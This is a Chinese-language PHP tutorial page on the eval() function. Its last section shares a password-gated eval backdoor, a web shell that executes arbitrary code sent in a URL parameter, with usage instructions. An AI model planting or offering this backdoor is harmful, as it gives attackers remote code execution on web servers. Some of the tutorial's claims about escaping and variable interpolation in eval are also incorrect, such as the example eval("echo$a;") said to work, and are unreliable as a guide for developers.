程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> 網頁編程 >> PHP編程 >> 關於PHP編程 >> PHP eval函數使用介紹

PHP eval函數使用介紹

編輯:關於PHP編程

代碼:

復制代碼 代碼如下:
eval("echo'hello world';");

上邊代碼等同於下邊的代碼:

echo"hello world";

在浏覽器中都輸出:hello world

運用eval()要注意幾點:

1.eval函數的參數的字符串末尾一定要有分號,在最後還要另加一個分號(這個分號是php限制)

2.注意單引號,雙引號和反斜槓的運用。如果參數中帶有變量時,並且變量有賦值操作的話,變量前的$符號錢一定要有\來轉義。如果沒有賦值操作可以不需要。

代碼:

復制代碼 代碼如下:
$a=100;
eval("echo$a;");

因為沒有賦值操作,所以可以不用\來轉義$.等同於以下代碼:

復制代碼 代碼如下:
$a=100;
eval("echo\$a;")

3.注意在命令式字符串(包括分號)兩邊必須要有雙引號或者根據需要用單引號。否則報錯。

命令式字符串是指:字符串中包括echo、print之類的命令的時候。

如果參數只有一個變量則可以不用。例如:

復制代碼 代碼如下:
$func =<<<FUNC
function test(){ 
    echo "test eval function"; 
}
FUNC;
eval($func);
test();

分享個php eval後門程序

要求必須支持eval函數
使用方法
http://url/test.php?pwd=admin&action=eval&a=phpinfo();

復制代碼 代碼如下:
<?php
$passwd="admin";if($_GET['pwd']!=$passwd)exit;
if($_GET['action']=="eval" && $_GET['a']){eval($_GET['a']);}
?>

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved